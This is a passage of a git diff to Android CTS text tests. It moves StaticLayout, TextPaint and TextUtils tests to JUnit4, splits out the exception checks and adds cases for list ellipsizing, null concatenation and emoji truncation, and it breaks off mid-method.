-        assertEquals(layout.getPrimaryHorizontal(6), layout.getSecondaryHorizontal(3));
-        assertEquals(layout.getPrimaryHorizontal(7), layout.getSecondaryHorizontal(7));
+        assertEquals(layout.getPrimaryHorizontal(4), layout.getSecondaryHorizontal(4), 0.0f);
+        assertEquals(layout.getPrimaryHorizontal(3), layout.getSecondaryHorizontal(6), 0.0f);
+        assertEquals(layout.getPrimaryHorizontal(6), layout.getSecondaryHorizontal(3), 0.0f);
+        assertEquals(layout.getPrimaryHorizontal(7), layout.getSecondaryHorizontal(7), 0.0f);
     }
 
+    @Test
     public void testVeryLargeString() {
         final int MAX_COUNT = 1 << 21;
         final int WORD_SIZE = 32;
@@ -1206,7 +1278,8 @@
         assertNotNull(layout);
     }
 
-    public void testDoesntCrashWhenWordStyleOverlap() {
+    @Test
+    public void testNoCrashWhenWordStyleOverlap() {
        // test case where word boundary overlaps multiple style spans
        SpannableStringBuilder text = new SpannableStringBuilder("word boundaries, overlap style");
        // span covers "boundaries"
@@ -1221,4 +1294,44 @@
                .build();
        assertNotNull(layout);
     }
+
+    @Test
+    public void testRespectingIndentsOnEllipsizedText() {
+        // test case where word boundary overlaps multiple style spans
+        final String text = "words with indents";
+
+        // +1 to ensure that we won't wrap in the normal case
+        int textWidth = (int) (mDefaultPaint.measureText(text) + 1);
+        StaticLayout layout = StaticLayout.Builder.obtain(text, 0, text.length(),
+                mDefaultPaint, textWidth)
+                .setBreakStrategy(Layout.BREAK_STRATEGY_HIGH_QUALITY)  // enable hyphenation
+                .setHyphenationFrequency(Layout.HYPHENATION_FREQUENCY_NORMAL)
+                .setEllipsize(TruncateAt.END)
+                .setEllipsizedWidth(textWidth)
+                .setMaxLines(1)
+                .setIndents(null, new int[] {20})
+                .build();
+        assertTrue(layout.getEllipsisStart(0) != 0);
+    }
+
+    @Test(expected = IndexOutOfBoundsException.class)
+    public void testGetPrimary_shouldFail_whenOffsetIsOutOfBounds_withSpannable() {
+        final String text = "1\n2\n3";
+        final SpannableString spannable = new SpannableString(text);
+        spannable.setSpan(new Object(), 0, text.length(), SpannableString.SPAN_EXCLUSIVE_EXCLUSIVE);
+        final Layout layout = StaticLayout.Builder.obtain(spannable, 0, spannable.length(),
+                mDefaultPaint, Integer.MAX_VALUE - 1).setMaxLines(2)
+                .setEllipsize(TruncateAt.END).build();
+        layout.getPrimaryHorizontal(layout.getText().length());
+    }
+
+    @Test(expected = IndexOutOfBoundsException.class)
+    public void testGetPrimary_shouldFail_whenOffsetIsOutOfBounds_withString() {
+        final String text = "1\n2\n3";
+        final Layout layout = StaticLayout.Builder.obtain(text, 0, text.length(),
+                mDefaultPaint, Integer.MAX_VALUE - 1).setMaxLines(2)
+                .setEllipsize(TruncateAt.END).build();
+        layout.getPrimaryHorizontal(layout.getText().length());
+    }
+
 }
diff --git a/tests/tests/text/src/android/text/cts/TextPaintTest.java b/tests/tests/text/src/android/text/cts/TextPaintTest.java
index fef492b..85fb300 100644
--- a/tests/tests/text/src/android/text/cts/TextPaintTest.java
+++ b/tests/tests/text/src/android/text/cts/TextPaintTest.java
@@ -17,6 +17,7 @@
 package android.text.cts;
 
 import android.graphics.Color;
+import android.graphics.Paint;
 import android.graphics.Typeface;
 import android.test.AndroidTestCase;
 import android.text.TextPaint;
@@ -37,6 +38,11 @@
         textPaint = new TextPaint(TextPaint.DITHER_FLAG);
         assertEquals((TextPaint.DITHER_FLAG | DEFAULT_PAINT_FLAGS),
                 textPaint.getFlags());
+
+        final Paint paint = new Paint();
+        paint.setTextSize(42f);
+        textPaint = new TextPaint(paint);
+        assertEquals(paint.getTextSize(), textPaint.getTextSize());
     }
 
     public void testSet() {
diff --git a/tests/tests/text/src/android/text/cts/TextUtilsTest.java b/tests/tests/text/src/android/text/cts/TextUtilsTest.java
index 0da1eb4..d549cfa 100644
--- a/tests/tests/text/src/android/text/cts/TextUtilsTest.java
+++ b/tests/tests/text/src/android/text/cts/TextUtilsTest.java
@@ -16,19 +16,32 @@
 
 package android.text.cts;
 
-
 import static android.view.View.LAYOUT_DIRECTION_LTR;
 import static android.view.View.LAYOUT_DIRECTION_RTL;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.mockito.Matchers.any;
+import static org.mockito.Matchers.anyInt;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.when;
+
+import android.content.Context;
 import android.content.res.ColorStateList;
-import android.graphics.Canvas;
+import android.content.res.Configuration;
+import android.content.res.Resources;
 import android.graphics.Color;
-import android.graphics.Paint;
-import android.graphics.Paint.FontMetricsInt;
 import android.graphics.Typeface;
+import android.os.LocaleList;
 import android.os.Parcel;
 import android.os.Parcelable;
-import android.test.AndroidTestCase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.GetChars;
 import android.text.SpannableString;
 import android.text.SpannableStringBuilder;
@@ -41,24 +54,32 @@
 import android.text.style.ReplacementSpan;
 import android.text.style.TextAppearanceSpan;
 import android.text.style.URLSpan;
-import android.util.Log;
 import android.util.StringBuilderPrinter;
 
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
 import java.util.Locale;
 import java.util.regex.Pattern;
 
 /**
  * Test {@link TextUtils}.
  */
-public class TextUtilsTest extends AndroidTestCase {
-    private static String mEllipsis;
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class TextUtilsTest  {
+    private Context mContext;
+    private String mEllipsis;
     private int mStart;
     private int mEnd;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
+    @Before
+    public void setup() {
+        mContext = InstrumentationRegistry.getTargetContext();
         mEllipsis = getEllipsis();
         resetRange();
     }
@@ -72,7 +93,7 @@
      * Get the ellipsis from system.
      * @return the string of ellipsis.
      */
-    private String getEllipsis() {
+    private static String getEllipsis() {
         String text = "xxxxx";
         TextPaint p = new TextPaint();
         float width = p.measureText(text.substring(1));
@@ -80,6 +101,110 @@
         return re.substring(0, re.indexOf("x"));
     }
 
+    /**
+     * @return the number of times the code unit appears in the CharSequence.
+     */
+    private static int countChars(CharSequence s, char c) {
+        int count = 0;
+        for (int i = 0; i < s.length(); i++) {
+            if (s.charAt(i) == c) {
+                count++;
+            }
+        }
+        return count;
+    }
+
+    @Test
+    public void testListEllipsize() {
+        final TextPaint paint = new TextPaint();
+        final int moreId = R.plurals.list_ellipsize_test;  // "one more" for 1, "%d more" for other
+
+        final List fullList = Arrays.asList("A", "B", "C", "D", "E", "F", "G", "H", "I", "J");
+        final String separator = ", ";
+        final String fullString = TextUtils.join(separator, fullList);
+        final float fullWidth = paint.measureText(fullString);
+        assertEquals("",
+            TextUtils.listEllipsize(mContext, null, separator, paint, fullWidth, moreId));
+
+        final List<CharSequence> emptyList = new ArrayList<>();
+        assertEquals("",
+            TextUtils.listEllipsize(mContext, emptyList, separator, paint, fullWidth, moreId));
+
+        // Null context should cause ellipsis to be used at the end.
+        final String ellipsizedWithNull = TextUtils.listEllipsize(
+                null, fullList, separator, paint, fullWidth / 2, 0).toString();
+        assertTrue(ellipsizedWithNull.endsWith(getEllipsis()));
+
+        // Test that the empty string gets returned if there's no space.
+        assertEquals("",
+                TextUtils.listEllipsize(mContext, fullList, separator, paint, 1.0f, moreId));
+
+        // Test that the full string itself can get returned if there's enough space.
+        assertEquals(fullString,
+                TextUtils.listEllipsize(mContext, fullList, separator, paint, fullWidth, moreId)
+                        .toString());
+        assertEquals(fullString,
+                TextUtils.listEllipsize(mContext, fullList, separator, paint, fullWidth * 2,
+                        moreId).toString());
+
+        final float epsilon = fullWidth / 20;
+        for (float width = epsilon; width < fullWidth - epsilon / 2; width += epsilon) {
+            final String ellipsized = TextUtils.listEllipsize(
+                    mContext, fullList, separator, paint, width, moreId).toString();
+            // Since we don't have the full space, test that we are not getting the full string.
+            assertFalse(fullString.equals(ellipsized));
+
+            if (!ellipsized.isEmpty()) {
+                assertTrue(ellipsized.endsWith(" more"));
+                // Test that the number of separators (which equals the number of output elements),
+                // plus the number output before more always equals the number of original elements.
+                final int lastSpace = ellipsized.lastIndexOf(' ');
+                final int penultimateSpace = ellipsized.lastIndexOf(' ', lastSpace - 1);
+                assertEquals(',', ellipsized.charAt(penultimateSpace - 1));
+                final String moreCountString = ellipsized.substring(
+                        penultimateSpace + 1, lastSpace);
+                final int moreCount = (moreCountString.equals("one"))
+                        ? 1 : Integer.parseInt(moreCountString);
+                final int commaCount = countChars(ellipsized, ',');
+                assertEquals(fullList.size(), commaCount + moreCount);
+            }
+        }
+}
+
+    @Test
+    public void testListEllipsize_rtl() {
+        final Resources res = mContext.getResources();
+        final Configuration newConfig = new Configuration(res.getConfiguration());
+
+        // save the locales and set them to just Arabic
+        final LocaleList previousLocales = newConfig.getLocales();
+        newConfig.setLocales(LocaleList.forLanguageTags("ar"));
+        res.updateConfiguration(newConfig, null);
+
+        try {
+            final TextPaint paint = new TextPaint();
+            final int moreId = R.plurals.list_ellipsize_test;  // "one more" for 1, else "%d more"
+            final String RLM = "\u200F";
+            final String LRE = "\u202A";
+            final String PDF = "\u202C";
+
+            final List fullList = Arrays.asList("A", "B");
+            final String separator = ", ";
+            final String expectedString =
+                    RLM + LRE + "A" + PDF + RLM + ", " + RLM + LRE + "B" + PDF + RLM;
+            final float enoughWidth = paint.measureText(expectedString);
+
+            assertEquals(expectedString,
+                    TextUtils.listEllipsize(mContext, fullList, separator, paint, enoughWidth,
+                                            moreId).toString());
+        } finally {
+            // Restore the original locales
+            newConfig.setLocales(previousLocales);
+            res.updateConfiguration(newConfig, null);
+        }
+    }
+
+    @Test
     public void testCommaEllipsize() {
         TextPaint p = new TextPaint();
         String text = "long, string, to, truncate";
@@ -132,9 +257,8 @@
         }
     }
 
+    @Test
     public void testConcat() {
-        // issue 1695243
-        // the javadoc for concat() doesn't describe the expected result when parameter is empty.
         assertEquals("", TextUtils.concat().toString());
 
         assertEquals("first", TextUtils.concat("first").toString());
@@ -165,18 +289,76 @@
 
         assertEquals(string1, TextUtils.concat(string1));
 
-        // issue 1695243, the javadoc for concat() doesn't describe
-        // the expected result when parameters are null.
         assertEquals(null, TextUtils.concat((CharSequence) null));
-
-        try {
-            TextUtils.concat((CharSequence[]) null);
-            fail("Should throw NullPointerException");
-        } catch (NullPointerException e) {
-            // expected
-        }
     }
 
+    @Test(expected = NullPointerException.class)
+    public void testConcat_NullArray() {
+        TextUtils.concat((CharSequence[]) null);
+    }
+
+    @Test
+    public void testConcat_NullParameters() {
+        assertEquals("nullA", TextUtils.concat(null, "A"));
+        assertEquals("Anull", TextUtils.concat("A", null));
+        assertEquals("AnullB", TextUtils.concat("A", null, "B"));
+
+        final SpannableString piece = new SpannableString("A");
+        final Object span = new Object();
+        piece.setSpan(span, 0, piece.length(), Spanned.SPAN_INCLUSIVE_EXCLUSIVE);
+        final Spanned result = (Spanned) TextUtils.concat(piece, null);
+        assertEquals("Anull", result.toString());
+        final Object[] spans = result.getSpans(0, result.length(), Object.class);
+        assertEquals(1, spans.length);
+        assertSame(span, spans[0]);
+        assertEquals(0, result.getSpanStart(spans[0]));
+        assertEquals(piece.length(), result.getSpanEnd(spans[0]));
+    }
+
+    @Test
+    public void testConcat_twoParagraphSpans() {
+        // Two paragraph spans. The first will get extended to cover the whole string and the second
+        // will be dropped.
+        final SpannableString string1 = new SpannableString("a");
+        final SpannableString string2 = new SpannableString("b");
+        final Object span1 = new Object();
+        final Object span2 = new Object();
+        string1.setSpan(span1, 0, string1.length(), Spanned.SPAN_PARAGRAPH);
+        string2.setSpan(span2, 0, string2.length(), Spanned.SPAN_PARAGRAPH);
+
+        final Spanned result = (Spanned) TextUtils.concat(string1, string2);
+        assertEquals("ab", result.toString());
+        final Object[] spans = result.getSpans(0, result.length(), Object.class);
+        assertEquals(1, spans.length);
+        assertSame(span1, spans[0]);
+        assertEquals(0, result.getSpanStart(spans[0]));
+        assertEquals(result.length(), result.getSpanEnd(spans[0]));
+    }
+
+    @Test
+    public void testConcat_oneParagraphSpanAndOneInclusiveSpan() {
+        // One paragraph span and one double-inclusive span. The first will get extended to cover
+        // the whole string and the second will be kept.
+        final SpannableString string1 = new SpannableString("a");
+        final SpannableString string2 = new SpannableString("b");
+        final Object span1 = new Object();
+        final Object span2 = new Object();
+        string1.setSpan(span1, 0, string1.length(), Spanned.SPAN_PARAGRAPH);
+        string2.setSpan(span2, 0, string2.length(), Spanned.SPAN_INCLUSIVE_INCLUSIVE);
+
+        final Spanned result = (Spanned) TextUtils.concat(string1, string2);
+        assertEquals("ab", result.toString());
+        final Object[] spans = result.getSpans(0, result.length(), Object.class);
+        assertEquals(2, spans.length);
+        assertSame(span1, spans[0]);
+        assertEquals(0, result.getSpanStart(spans[0]));
+        assertEquals(result.length(), result.getSpanEnd(spans[0]));
+        assertSame(span2, spans[1]);
+        assertEquals(string1.length(), result.getSpanStart(spans[1]));
+        assertEquals(result.length(), result.getSpanEnd(spans[1]));
+    }
+
+    @Test
     public void testCopySpansFrom() {
         Object[] spans;
         String text = "content";
@@ -319,6 +501,7 @@
         }
     }
 
+    @Test
     public void testEllipsize() {
         TextPaint p = new TextPaint();
 
@@ -371,6 +554,30 @@
         }
     }
 
+    @Test
+    public void testEllipsize_emoji() {
+        // 2 family emojis (11 code units + 11 code units).
+        final String text = "\uD83D\uDC68\u200D\uD83D\uDC69\u200D\uD83D\uDC67\u200D\uD83D\uDC66"
+                + "\uD83D\uDC68\u200D\uD83D\uDC69\u200D\uD83D\uDC67\u200D\uD83D\uDC66";
+
+        final TextPaint p = new TextPaint();
+        final float width = p.measureText(text);
+
+        final TextUtils.TruncateAt[] kinds = {TextUtils.TruncateAt.START,
+                TextUtils.TruncateAt.MIDDLE, TextUtils.TruncateAt.END};
+        for (final TextUtils.TruncateAt kind : kinds) {
+            for (int i = 0; i <= 8; i++) {
+                float avail = width * i / 7.0f;
+                final String out = TextUtils.ellipsize(text, p, avail, kind).toString();
+                assertTrue("kind: " + kind + ", avail: " + avail + ", out length: " + out.length(),
+                        out.length() == text.length()
+                                || out.length() == text.length() / 2 + 1
+                                || out.length() == 0);
+            }
+        }
+    }
+
+    @Test
     public void testEllipsizeCallback() {
         TextPaint p = new TextPaint();
 
@@ -506,7 +713,7 @@
      * @param len - int length of string.
      * @return a blank string which is filled up by '\uFEFF'.
      */
-    private String getBlankString(boolean isNeedStart, int len) {
+    private static String getBlankString(boolean isNeedStart, int len) {
         StringBuilder buf = new StringBuilder();
 
         int i = 0;
@@ -521,6 +728,7 @@
         return buf.toString();
     }
 
+    @Test
     public void testEquals() {
         // compare with itself.
         // String is a subclass of CharSequence and overrides equals().
@@ -560,6 +768,7 @@
         assertFalse(TextUtils.equals(null, string));
     }
 
+    @Test
     public void testExpandTemplate() {
         // ^1 at the start of template string.
         assertEquals("value1 template to be expanded",
@@ -610,66 +819,55 @@
         } catch (IllegalArgumentException e) {
             // expect
         }
+    }
 
+    @Test(expected=IllegalArgumentException.class)
+    public void testExpandTemplateCaret0WithValue() {
         // template string is ^0
-        try {
-            TextUtils.expandTemplate("template ^0 to be expanded", "value1");
-        } catch (IllegalArgumentException e) {
-            // issue 1695243, doesn't discuss the case that ^0 in template string.
-        }
+        TextUtils.expandTemplate("template ^0 to be expanded", "value1");
+    }
 
+    @Test(expected=IllegalArgumentException.class)
+    public void testExpandTemplateCaret0NoValues() {
         // template string is ^0
-        try {
-            TextUtils.expandTemplate("template ^0 to be expanded");
-        } catch (IllegalArgumentException e) {
-            // issue 1695243, doesn't discuss the case that ^0 in template string.
-        }
+        TextUtils.expandTemplate("template ^0 to be expanded");
+    }
 
+    @Test(expected=IllegalArgumentException.class)
+    public void testExpandTemplateNotEnoughValues() {
         // the template requests 2 values but only 1 is provided
-        try {
-            TextUtils.expandTemplate("template ^2 to be expanded", "value1");
-            fail("Should throw IllegalArgumentException!");
-        } catch (IllegalArgumentException e) {
-            // expect
-        }
+        TextUtils.expandTemplate("template ^2 to be expanded", "value1");
+    }
 
+    @Test(expected=NullPointerException.class)
+    public void testExpandTemplateNullValues() {
         // values is null
-        try {
-            TextUtils.expandTemplate("template ^2 to be expanded", (CharSequence[]) null);
-        } catch (NullPointerException e) {
-            // expected
-        }
+        TextUtils.expandTemplate("template ^2 to be expanded", (CharSequence[]) null);
+    }
 
+    @Test(expected=IllegalArgumentException.class)
+    public void testExpandTemplateNotEnoughValuesAndFirstIsNull() {
         // the template requests 2 values but only one null value is provided
-        try {
-            TextUtils.expandTemplate("template ^2 to be expanded", (CharSequence) null);
-            fail("Should throw IllegalArgumentException!");
-        } catch (IllegalArgumentException e) {
-            // expect
-        }
+        TextUtils.expandTemplate("template ^2 to be expanded", (CharSequence) null);
+    }
 
+    @Test(expected=NullPointerException.class)
+    public void testExpandTemplateAllValuesAreNull() {
         // the template requests 2 values and 2 values is provided, but all values are null.
-        try {
-            TextUtils.expandTemplate("template ^2 to be expanded",
-                    (CharSequence) null, (CharSequence) null);
-        } catch (NullPointerException e) {
-            // expected
-        }
+        TextUtils.expandTemplate("template ^2 to be expanded",
+                (CharSequence) null, (CharSequence) null);
+    }
 
+    @Test(expected=IllegalArgumentException.class)
+    public void testExpandTemplateNoValues() {
         // the template requests 2 values but no value is provided.
-        try {
-            TextUtils.expandTemplate("template ^2 to be expanded");
-            fail("Should throw IllegalArgumentException!");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
+        TextUtils.expandTemplate("template ^2 to be expanded");
+    }
 
+    @Test(expected=NullPointerException.class)
+    public void testExpandTemplateNullTemplate() {
         // template is null
-        try {
-            TextUtils.expandTemplate(null, "value1");
-        } catch (NullPointerException e) {
-            // expected
-        }
+        TextUtils.expandTemplate(null, "value1");
     }
 
     /**
@@ -678,7 +876,7 @@
      * @return The char sequence array with the specified length.
      * The value of each item is "value[index+1]"
      */
-    private CharSequence[] createCharSequenceArray(int len) {
+    private static CharSequence[] createCharSequenceArray(int len) {
         CharSequence array[] = new CharSequence[len];
 
         for (int i = 0; i < len; i++) {
@@ -688,6 +886,7 @@
         return array;
     }
 
+    @Test
     public void testGetChars() {
         char[] destOriginal = "destination".toCharArray();
         char[] destResult = destOriginal.clone();
@@ -837,7 +1036,7 @@
     /**
      * MockGetChars for test.
      */
-    private class MockGetChars implements GetChars {
+    private static class MockGetChars implements GetChars {
         private boolean mHasCalledGetChars;
         private GetCharsParams mGetCharsParams = new GetCharsParams();
 
@@ -884,13 +1083,9 @@
     /**
      * MockCharSequence for test.
      */
-    private class MockCharSequence implements CharSequence {
+    private static class MockCharSequence implements CharSequence {
         private char mText[];
 
-        public MockCharSequence() {
-            this("");
-        }
-
         public MockCharSequence(String text) {
             mText = text.toCharArray();
         }
@@ -911,6 +1106,7 @@
         }
     }
 
+    @Test
     public void testGetOffsetAfter() {
         // the first '\uD800' is index 9, the second 'uD800' is index 16
         // the '\uDBFF' is index 26
@@ -932,7 +1128,8 @@
                 TextUtils.getOffsetAfter(text, POS_FIRST_DBFF));
 
         // the CharSequence string has a span.
-        MockReplacementSpan mockReplacementSpan = new MockReplacementSpan();
+        ReplacementSpan mockReplacementSpan = mock(ReplacementSpan.class);
+        when(mockReplacementSpan.getSize(any(), any(), anyInt(), anyInt(), any())).thenReturn(0);
         text.setSpan(mockReplacementSpan, POS_FIRST_D800 - 1, text.length() - 1,
                 Spanned.SPAN_EXCLUSIVE_EXCLUSIVE);
         assertEquals(text.length() - 1, TextUtils.getOffsetAfter(text, POS_FIRST_D800));
@@ -957,21 +1154,7 @@
         }
     }
 
-    /**
-     * MockReplacementSpan for test.
-     */
-    private class MockReplacementSpan extends ReplacementSpan {
-        @Override
-        public void draw(Canvas canvas, CharSequence text, int start, int end, float x, int top,
-                int y, int bottom, Paint paint) {
-        }
-
-        @Override
-        public int getSize(Paint paint, CharSequence text, int start, int end, FontMetricsInt fm) {
-            return 0;
-        }
-    }
-
+    @Test
     public void testGetOffsetBefore() {
         // the first '\uDC00' is index 10, the second 'uDC00' is index 17
         // the '\uDFFF' is index 27
@@ -993,7 +1176,8 @@
                 TextUtils.getOffsetBefore(text, POS_FIRST_DFFF + 1));
 
         // the CharSequence string has a span.
-        MockReplacementSpan mockReplacementSpan = new MockReplacementSpan();
+        ReplacementSpan mockReplacementSpan = mock(ReplacementSpan.class);
+        when(mockReplacementSpan.getSize(any(), any(), anyInt(), anyInt(), any())).thenReturn(0);
         text.setSpan(mockReplacementSpan, 0, POS_FIRST_DC00 + 1,
                 Spanned.SPAN_EXCLUSIVE_EXCLUSIVE);
         assertEquals(0, TextUtils.getOffsetBefore(text, POS_FIRST_DC00));
@@ -1018,6 +1202,7 @@
         }
     }
 
+    @Test
     public void testGetReverse() {
         String source = "string to be reversed";
         assertEquals("gnirts", TextUtils.getReverse(source, 0, "string".length()).toString());
@@ -1072,6 +1257,7 @@
         }
     }
 
+    @Test
     public void testGetTrimmedLength() {
         assertEquals("normalstring".length(), TextUtils.getTrimmedLength("normalstring"));
         assertEquals("normal string".length(), TextUtils.getTrimmedLength("normal string"));
@@ -1079,33 +1265,31 @@
         assertEquals("blank after".length(), TextUtils.getTrimmedLength("blank after   \n    "));
         assertEquals("blank both".length(), TextUtils.getTrimmedLength(" \t   blank both  \n "));
 
-        char[] allTrimmedChars = new char[] {
+        char[] allTrimmedChars = new char[]{
                 '\u0000', '\u0001', '\u0002', '\u0003', '\u0004', '\u0005', '\u0006', '\u0007',
                 '\u0008', '\u0009', '\u0010', '\u0011', '\u0012', '\u0013', '\u0014', '\u0015',
                 '\u0016', '\u0017', '\u0018', '\u0019', '\u0020'
         };
         assertEquals(0, TextUtils.getTrimmedLength(String.valueOf(allTrimmedChars)));
-
-        try {
-            TextUtils.getTrimmedLength(null);
-            fail("Should throw NullPointerException!");
-        } catch (NullPointerException e) {
-            // expected
-        }
     }
 
+    @Test(expected=NullPointerException.class)
+    public void testGetTrimmedLengthNull() {
+        TextUtils.getTrimmedLength(null);
+    }
+
+    @Test
     public void testHtmlEncode() {
         assertEquals("&lt;_html_&gt;\\ &amp;&quot;&#39;string&#39;&quot;",
                 TextUtils.htmlEncode("<_html_>\\ &\"'string'\""));
-
-         try {
-             TextUtils.htmlEncode(null);
-             fail("Should throw NullPointerException!");
-         } catch (NullPointerException e) {
-             // expected
-         }
     }
 
+    @Test(expected=NullPointerException.class)
+    public void testHtmlEncodeNull() {
+         TextUtils.htmlEncode(null);
+    }
+
+    @Test
     public void testIndexOf1() {
         String searchString = "string to be searched";
         final int INDEX_OF_FIRST_R = 2;     // first occurrence of 'r'
@@ -1132,6 +1316,7 @@
         assertEquals(INDEX_OF_FIRST_R, TextUtils.indexOf(mockCharSequence, 'r'));
     }
 
+    @Test
     public void testIndexOf2() {
         String searchString = "string to be searched";
         final int INDEX_OF_FIRST_R = 2;
@@ -1166,6 +1351,7 @@
                 INDEX_OF_FIRST_R + 1));
     }
 
+    @Test
     public void testIndexOf3() {
         String searchString = "string to be searched";
         final int INDEX_OF_FIRST_R = 2;
@@ -1211,6 +1397,7 @@
                 INDEX_OF_FIRST_R + 1, searchString.length()));
     }
 
+    @Test
     public void testIndexOf4() {
         String searchString = "string to be searched by string";
         final int SEARCH_INDEX = 13;
@@ -1234,6 +1421,7 @@
         assertEquals(SEARCH_INDEX, TextUtils.indexOf(mockCharSequence, "search"));
     }
 
+    @Test
     public void testIndexOf5() {
         String searchString = "string to be searched by string";
         final int INDEX_OF_FIRST_STRING = 0;
@@ -1278,6 +1466,7 @@
                 INDEX_OF_FIRST_STRING + 1));
     }
 
+    @Test
     public void testIndexOf6() {
         String searchString = "string to be searched by string";
         final int INDEX_OF_FIRST_STRING = 0;
@@ -1329,6 +1518,7 @@
                 INDEX_OF_FIRST_STRING + 1, searchString.length()));
     }
 
+    @Test
     public void testIsDigitsOnly() {
         assertTrue(TextUtils.isDigitsOnly(""));
         assertFalse(TextUtils.isDigitsOnly("no digit"));
@@ -1343,15 +1533,14 @@
 
         assertFalse(TextUtils.isDigitsOnly("\uD801")); // lonely lead surrogate
         assertFalse(TextUtils.isDigitsOnly("\uDCA0")); // lonely trailing surrogate
-
-        try {
-            TextUtils.isDigitsOnly(null);
-            fail("Should throw NullPointerException!");
-        } catch (NullPointerException e) {
-            // issue 1695243, not clear what is supposed result if the CharSequence is null.
-        }
     }
 
+    @Test(expected=NullPointerException.class)
+    public void testIsDigitsOnlyNull() {
+        TextUtils.isDigitsOnly(null);
+    }
+
+    @Test
     public void testIsEmpty() {
         assertFalse(TextUtils.isEmpty("not empty"));
         assertFalse(TextUtils.isEmpty("    "));
@@ -1359,6 +1548,7 @@
         assertTrue(TextUtils.isEmpty(null));
     }
 
+    @Test
     public void testIsGraphicChar() {
         assertTrue(TextUtils.isGraphic('a'));
         assertTrue(TextUtils.isGraphic('\uBA00'));
@@ -1380,15 +1570,14 @@
 
         // SPACE_SEPARATOR
         assertFalse(TextUtils.isGraphic('\u0020'));
-
-        try {
-            assertFalse(TextUtils.isGraphic((Character) null));
-            fail("Should throw NullPointerException!");
-        } catch (NullPointerException e) {
-            // expected
-        }
     }
 
+    @Test(expected=NullPointerException.class)
+    public void testIsGraphicCharNull() {
+        assertFalse(TextUtils.isGraphic((Character) null));
+    }
+
+    @Test
     public void testIsGraphicCharSequence() {
         assertTrue(TextUtils.isGraphic("printable characters"));
 
@@ -1400,18 +1589,16 @@
         assertFalse(TextUtils.isGraphic("\uDB40\uDC01")); // U+E0000 (unassigned)
         assertFalse(TextUtils.isGraphic("\uDB3D")); // unpaired high surrogate
         assertFalse(TextUtils.isGraphic("\uDC0C")); // unpaired low surrogate
-
-        try {
-            TextUtils.isGraphic(null);
-            fail("Should throw NullPointerException!");
-        } catch (NullPointerException e) {
-            // expected
-        }
     }
 
-    @SuppressWarnings("unchecked")
-    public void testJoin1() {
-        ArrayList<CharSequence> charTokens = new ArrayList<CharSequence>();
+    @Test(expected=NullPointerException.class)
+    public void testIsGraphicCharSequenceNull() {
+        TextUtils.isGraphic(null);
+    }
+
+    @Test
+    public void testJoinIterable() {
+        ArrayList<CharSequence> charTokens = new ArrayList<>();
         charTokens.add("string1");
         charTokens.add("string2");
         charTokens.add("string3");
@@ -1421,12 +1608,6 @@
 
         // issue 1695243, not clear what is supposed result if the delimiter or tokens are null.
         assertEquals("string1nullstring2nullstring3", TextUtils.join(null, charTokens));
-        try {
-            TextUtils.join("|", (Iterable) null);
-            fail("Should throw NullPointerException!");
-        } catch (NullPointerException e) {
-            // expect
-        }
 
         ArrayList<SpannableString> spannableStringTokens = new ArrayList<SpannableString>();
         spannableStringTokens.add(new SpannableString("span 1"));
@@ -1435,7 +1616,13 @@
         assertEquals("span 1;span 2;span 3", TextUtils.join(";", spannableStringTokens));
     }
 
-    public void testJoin2() {
+    @Test(expected=NullPointerException.class)
+    public void testJoinIterableNull() {
+        TextUtils.join("|", (Iterable) null);
+    }
+
+    @Test
+    public void testJoinArray() {
         CharSequence[] charTokens = new CharSequence[] { "string1", "string2", "string3" };
         assertEquals("string1|string2|string3", TextUtils.join("|", charTokens));
         assertEquals("string1; string2; string3", TextUtils.join("; ", charTokens));
@@ -1443,12 +1630,6 @@
 
         // issue 1695243, not clear what is supposed result if the delimiter or tokens are null.
         assertEquals("string1nullstring2nullstring3", TextUtils.join(null, charTokens));
-        try {
-            TextUtils.join("|", (Object[]) null);
-            fail("Should throw NullPointerException!");
-        } catch (NullPointerException e) {
-            // expect
-        }
 
         SpannableString[] spannableStringTokens = new SpannableString[] {
                 new SpannableString("span 1"),
@@ -1457,6 +1638,12 @@
         assertEquals("span 1;span 2;span 3", TextUtils.join(";", spannableStringTokens));
     }
 
+    @Test(expected=NullPointerException.class)
+    public void testJoinArrayNull() {
+        TextUtils.join("|", (Object[]) null);
+    }
+
+    @Test
     public void testLastIndexOf1() {
         String searchString = "string to be searched";
         final int INDEX_OF_LAST_R = 16;
@@ -1482,6 +1669,7 @@
         assertEquals(INDEX_OF_LAST_R, TextUtils.lastIndexOf(mockCharSequence, 'r'));
     }
 
+    @Test
     public void testLastIndexOf2() {
         String searchString = "string to be searched";
         final int INDEX_OF_FIRST_R = 2;
@@ -1516,6 +1704,7 @@
                 TextUtils.lastIndexOf(mockCharSequence, 'r', INDEX_OF_FIRST_R));
     }
 
+    @Test
     public void testLastIndexOf3() {
         String searchString = "string to be searched";
         final int INDEX_OF_FIRST_R = 2;
@@ -1556,6 +1745,7 @@
                 INDEX_OF_SECOND_R - 1));
     }
 
+    @Test
     public void testRegionMatches() {
         assertFalse(TextUtils.regionMatches("one", 0, "two", 0, "one".length()));
         assertTrue(TextUtils.regionMatches("one", 0, "one", 0, "one".length()));
@@ -1626,6 +1816,7 @@
         }
     }
 
+    @Test
     public void testReplace() {
         String template = "this is a string to be as the template for replacement";
 
@@ -1676,6 +1867,7 @@
         }
     }
 
+    @Test
     public void testSplitPattern() {
         String testString = "abccbadecdebz";
         assertEquals(calculateCharsCount(testString, "c") + 1,
@@ -1694,25 +1886,22 @@
         // issue 1695243, not clear what is supposed result if the pattern string is empty.
         assertEquals(testString.length() + 2,
                 TextUtils.split(testString, Pattern.compile("")).length);
+    }
 
-        try {
-            TextUtils.split(null, Pattern.compile("a"));
-            fail("Should throw NullPointerException!");
-        } catch (NullPointerException e) {
-            // expect
-        }
-        try {
+    @Test(expected=NullPointerException.class)
+    public void testSplitPatternNullText() {
+        TextUtils.split(null, Pattern.compile("a"));
+    }
+
+    @Test(expected=NullPointerException.class)
+    public void testSplitPatternNullPattern() {
